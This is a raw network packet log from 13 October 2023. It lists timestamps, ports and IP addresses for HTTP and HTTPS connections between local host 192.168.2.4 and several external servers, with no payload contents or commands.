Oct 13, 2023 16:06:05.036580086 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.036722898 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.036734104 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.085550070 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.085560083 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.249388933 CEST	80	49770	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:05.273190022 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.273999929 CEST	80	49770	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:05.274221897 CEST	49770	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:05.303970098 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.303991079 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.304019928 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.304039955 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.304502964 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.304521084 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.304539919 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.304547071 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.304554939 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.304563046 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.304582119 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.304593086 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.304596901 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.305244923 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.305258989 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.305278063 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.305308104 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.305315018 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.305336952 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.305556059 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.305567026 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.305583954 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.305607080 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.305613041 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.305635929 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.343322992 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.343333960 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.343359947 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.343389034 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.343398094 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.343420029 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.343703032 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.343710899 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.343729019 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.343744040 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.343750000 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.343780994 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.394299030 CEST	49770	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:05.395421028 CEST	49771	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:05.574481964 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.574558973 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.658838034 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.658859968 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.658891916 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.658916950 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.658941984 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.658948898 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.658993006 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659003019 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659022093 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659033060 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.659039974 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659061909 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.659080029 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659090042 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659109116 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659120083 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.659132004 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659143925 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.659928083 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659938097 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659962893 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659984112 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.659990072 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.659998894 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.660630941 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.660640001 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.660659075 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.660681009 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.660686970 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.660698891 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.697577953 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.697598934 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.697616100 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.697664022 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.697674990 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.697706938 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.698895931 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.698915958 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.698931932 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.698945999 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.698956013 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.698981047 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.740827084 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:05.740833998 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:05.767458916 CEST	80	49770	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:05.767651081 CEST	49770	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:05.775429010 CEST	80	49771	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:05.776252031 CEST	49771	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:05.776428938 CEST	49771	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:05.826390028 CEST	49772	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:05.826426029 CEST	443	49772	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:05.826505899 CEST	49772	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:05.837204933 CEST	49772	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:05.837223053 CEST	443	49772	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:05.882400990 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.012608051 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.012629986 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.012660980 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.012690067 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.012732029 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.012739897 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.012792110 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.012801886 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.012819052 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.012835026 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.012841940 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.012860060 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.013226986 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.013246059 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.013266087 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.013289928 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.013302088 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.013319969 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.013544083 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.013556957 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.013577938 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.013593912 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.013600111 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.013622999 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.013991117 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.014003992 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.014024973 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.014038086 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.014045000 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.014065027 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.050921917 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.050934076 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.051043987 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.051052094 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.052320004 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.052333117 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.052355051 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.052376986 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.052381992 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.052403927 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.097421885 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.097446918 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.097501040 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.097510099 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.097533941 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.152538061 CEST	80	49771	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:06.156333923 CEST	80	49771	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:06.160253048 CEST	49771	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:06.179320097 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.179343939 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.184355974 CEST	443	49772	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:06.184474945 CEST	49772	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:06.218295097 CEST	49772	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:06.218312025 CEST	443	49772	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:06.219295025 CEST	443	49772	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:06.220165014 CEST	49772	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:06.222819090 CEST	49772	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:06.266486883 CEST	443	49772	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:06.275701046 CEST	49771	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:06.276362896 CEST	49773	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:06.367522001 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.367535114 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.367563963 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.367706060 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.367714882 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.367736101 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.367878914 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.367887974 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.367906094 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.367922068 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.367928028 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.367960930 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.368329048 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.368340015 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.368361950 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.368388891 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.368395090 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.368407965 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.368768930 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.368777037 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.368819952 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.368824959 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.368869066 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.368917942 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.368988037 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.368997097 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.369026899 CEST	49767	443	192.168.2.4	213.6.54.58
Oct 13, 2023 16:06:06.369030952 CEST	443	49767	213.6.54.58	192.168.2.4
Oct 13, 2023 16:06:06.468550920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:06.468600988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:06.649084091 CEST	80	49773	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:06.652168989 CEST	49773	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:06.661381960 CEST	80	49771	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:06.664161921 CEST	49771	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:06.760163069 CEST	49773	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:06.811450005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:06.829067945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:06.878659964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:06.878659964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:06.962718964 CEST	443	49772	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:06.963074923 CEST	443	49772	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:06.963161945 CEST	49772	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:07.129651070 CEST	80	49773	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:07.166887045 CEST	80	49773	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:07.168167114 CEST	49773	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:07.221554041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:07.238177061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:07.382409096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:07.471252918 CEST	49773	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:07.471854925 CEST	49774	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:07.484769106 CEST	49772	443	192.168.2.4	104.21.65.24
Oct 13, 2023 16:06:07.484788895 CEST	443	49772	104.21.65.24	192.168.2.4
Oct 13, 2023 16:06:07.589376926 CEST	49775	443	192.168.2.4	104.21.21.57
Oct 13, 2023 16:06:07.589401960 CEST	443	49775	104.21.21.57	192.168.2.4
Oct 13, 2023 16:06:07.589454889 CEST	49775	443	192.168.2.4	104.21.21.57
Oct 13, 2023 16:06:07.590081930 CEST	49775	443	192.168.2.4	104.21.21.57
Oct 13, 2023 16:06:07.590095043 CEST	443	49775	104.21.21.57	192.168.2.4
Oct 13, 2023 16:06:07.842449903 CEST	80	49773	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:07.842538118 CEST	49773	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:07.850207090 CEST	80	49774	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:07.850425005 CEST	49774	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:07.939129114 CEST	443	49775	104.21.21.57	192.168.2.4
Oct 13, 2023 16:06:07.939265013 CEST	49775	443	192.168.2.4	104.21.21.57
Oct 13, 2023 16:06:08.678910017 CEST	49775	443	192.168.2.4	104.21.21.57
Oct 13, 2023 16:06:08.678926945 CEST	443	49775	104.21.21.57	192.168.2.4
Oct 13, 2023 16:06:08.679891109 CEST	443	49775	104.21.21.57	192.168.2.4
Oct 13, 2023 16:06:08.680664062 CEST	49775	443	192.168.2.4	104.21.21.57
Oct 13, 2023 16:06:08.726454973 CEST	443	49775	104.21.21.57	192.168.2.4
Oct 13, 2023 16:06:09.154941082 CEST	443	49775	104.21.21.57	192.168.2.4
Oct 13, 2023 16:06:09.155163050 CEST	443	49775	104.21.21.57	192.168.2.4
Oct 13, 2023 16:06:09.155358076 CEST	49775	443	192.168.2.4	104.21.21.57
Oct 13, 2023 16:06:09.264566898 CEST	49775	443	192.168.2.4	104.21.21.57
Oct 13, 2023 16:06:09.264586926 CEST	443	49775	104.21.21.57	192.168.2.4
Oct 13, 2023 16:06:09.296096087 CEST	49774	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:09.300585985 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:09.303045034 CEST	49777	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:09.611911058 CEST	80	49777	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:09.612121105 CEST	49777	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:09.612312078 CEST	49777	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:09.627401114 CEST	49778	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:09.647418976 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:09.647459984 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:09.647524118 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:09.653297901 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:09.653312922 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:09.671380997 CEST	80	49774	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:09.683640957 CEST	80	49774	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:09.683871984 CEST	49774	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:09.709249020 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:09.709460020 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:09.709623098 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:09.789743900 CEST	49774	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:09.790361881 CEST	49780	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:09.959283113 CEST	80	49778	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:09.959393024 CEST	49778	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:09.960122108 CEST	49778	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:09.979087114 CEST	80	49777	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:10.002861023 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.002927065 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.008122921 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.008142948 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.008539915 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.009413004 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.054450989 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.143451929 CEST	80	49780	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:10.143615961 CEST	49780	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:10.143874884 CEST	49780	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:10.160603046 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.164601088 CEST	80	49774	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:10.164719105 CEST	49774	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:10.307282925 CEST	49723	80	192.168.2.4	209.197.3.8
Oct 13, 2023 16:06:10.307298899 CEST	49724	80	192.168.2.4	209.197.3.8
Oct 13, 2023 16:06:10.307343006 CEST	49732	80	192.168.2.4	72.21.81.240
Oct 13, 2023 16:06:10.307444096 CEST	49739	80	192.168.2.4	72.21.81.240
Oct 13, 2023 16:06:10.326837063 CEST	80	49778	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:10.468967915 CEST	80	49732	72.21.81.240	192.168.2.4
Oct 13, 2023 16:06:10.469012022 CEST	80	49739	72.21.81.240	192.168.2.4
Oct 13, 2023 16:06:10.469039917 CEST	80	49724	209.197.3.8	192.168.2.4
Oct 13, 2023 16:06:10.469042063 CEST	49732	80	192.168.2.4	72.21.81.240
Oct 13, 2023 16:06:10.469115019 CEST	49739	80	192.168.2.4	72.21.81.240
Oct 13, 2023 16:06:10.469115019 CEST	49724	80	192.168.2.4	209.197.3.8
Oct 13, 2023 16:06:10.469691038 CEST	80	49723	209.197.3.8	192.168.2.4
Oct 13, 2023 16:06:10.469809055 CEST	49723	80	192.168.2.4	209.197.3.8
Oct 13, 2023 16:06:10.497522116 CEST	80	49780	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:10.510252953 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.510335922 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:10.510498047 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.510521889 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.510567904 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:10.510567904 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:10.511321068 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.511385918 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:10.546412945 CEST	80	49780	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:10.546499014 CEST	49780	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:10.648485899 CEST	49780	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:10.649116039 CEST	49781	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:10.740158081 CEST	80	49777	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:10.740288019 CEST	49777	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:10.740369081 CEST	49777	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:10.741589069 CEST	80	49777	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:10.741657972 CEST	49777	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:10.918770075 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.918862104 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.919143915 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:10.919143915 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:10.920268059 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.920332909 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.920336962 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:10.920398951 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:10.920399904 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.920450926 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.920461893 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:10.920511007 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:10.920526028 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:10.920572996 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:10.950489998 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.950628996 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.950704098 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.950768948 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.950819969 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.950843096 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.950891972 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.950977087 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.951030016 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.951044083 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.951793909 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:10.951951981 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:10.951965094 CEST	443	49779	104.21.86.8	192.168.2.4
